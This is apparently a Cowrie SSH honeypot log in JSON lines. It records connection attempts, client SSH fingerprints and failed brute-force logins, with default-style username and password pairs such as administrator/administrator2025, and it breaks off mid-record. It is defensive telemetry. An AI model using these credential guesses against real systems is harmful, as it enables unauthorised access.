{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:16.005675Z","src_ip":"125.166.19.90","session":"b4aa497ca512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:16.279960Z","src_ip":"125.166.19.90","session":"b4aa497ca512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdefgh12345","message":"login attempt [ubuntu/abcdefgh12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:17.405511Z","src_ip":"125.166.19.90","session":"b4aa497ca512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:18.681265Z","src_ip":"125.166.19.90","session":"b4aa497ca512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.46.231.114","src_port":37848,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac9eea74c47","protocol":"ssh","message":"New connection: 20.46.231.114:37848 (159.203.135.109:22) [session: 3ac9eea74c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:31.516359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:31.543260Z","src_ip":"20.46.231.114","session":"3ac9eea74c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:31.555084Z","src_ip":"20.46.231.114","session":"3ac9eea74c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.46.231.114","src_port":37864,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08892bd3206","protocol":"ssh","message":"New connection: 20.46.231.114:37864 (159.203.135.109:22) [session: e08892bd3206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:31.656676Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:31.663435Z","src_ip":"20.46.231.114","session":"e08892bd3206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:31.667317Z","src_ip":"20.46.231.114","session":"e08892bd3206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56320,"dst_ip":"159.203.135.109","dst_port":22,"session":"338d4891d0f1","protocol":"ssh","message":"New connection: 159.203.92.129:56320 (159.203.135.109:22) [session: 338d4891d0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:38.321546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:38.327123Z","src_ip":"159.203.92.129","session":"338d4891d0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:38.333804Z","src_ip":"159.203.92.129","session":"338d4891d0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2024","message":"login attempt [administrator/administrator2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:38.356873Z","src_ip":"159.203.92.129","session":"338d4891d0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:39.363299Z","src_ip":"159.203.92.129","session":"338d4891d0f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:20:41.541319Z","src_ip":"20.46.231.114","session":"3ac9eea74c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58202,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe38c6c400e8","protocol":"ssh","message":"New connection: 159.203.92.129:58202 (159.203.135.109:22) [session: fe38c6c400e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:21:24.267925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:21:24.274619Z","src_ip":"159.203.92.129","session":"fe38c6c400e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:21:24.279575Z","src_ip":"159.203.92.129","session":"fe38c6c400e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2025","message":"login attempt [administrator/administrator2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:21:24.290916Z","src_ip":"159.203.92.129","session":"fe38c6c400e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:21:25.305130Z","src_ip":"159.203.92.129","session":"fe38c6c400e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"687ea47380df","protocol":"ssh","message":"New connection: 159.203.92.129:43468 (159.203.135.109:22) [session: 687ea47380df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:09.528441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:09.534112Z","src_ip":"159.203.92.129","session":"687ea47380df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:09.540320Z","src_ip":"159.203.92.129","session":"687ea47380df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator2026","message":"login attempt [administrator/administrator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:09.555008Z","src_ip":"159.203.92.129","session":"687ea47380df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:10.562640Z","src_ip":"159.203.92.129","session":"687ea47380df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49684,"dst_ip":"159.203.135.109","dst_port":22,"session":"893f93e37573","protocol":"ssh","message":"New connection: 194.59.206.2:49684 (159.203.135.109:22) [session: 893f93e37573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:24.341264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:24.346863Z","src_ip":"194.59.206.2","session":"893f93e37573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:24.461190Z","src_ip":"194.59.206.2","session":"893f93e37573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:24.563944Z","src_ip":"194.59.206.2","session":"893f93e37573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":11363,"dst_ip":"159.203.135.109","dst_port":22,"session":"870732679c74","protocol":"ssh","message":"New connection: 125.166.19.90:11363 (159.203.135.109:22) [session: 870732679c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:47.251703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:47.255594Z","src_ip":"125.166.19.90","session":"870732679c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:47.530321Z","src_ip":"125.166.19.90","session":"870732679c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedsa","message":"login attempt [ubuntu/qwedsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:48.661657Z","src_ip":"125.166.19.90","session":"870732679c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:49.942973Z","src_ip":"125.166.19.90","session":"870732679c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51604,"dst_ip":"159.203.135.109","dst_port":22,"session":"4701e5c5c90d","protocol":"ssh","message":"New connection: 159.203.92.129:51604 (159.203.135.109:22) [session: 4701e5c5c90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:55.074548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:22:55.078677Z","src_ip":"159.203.92.129","session":"4701e5c5c90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hm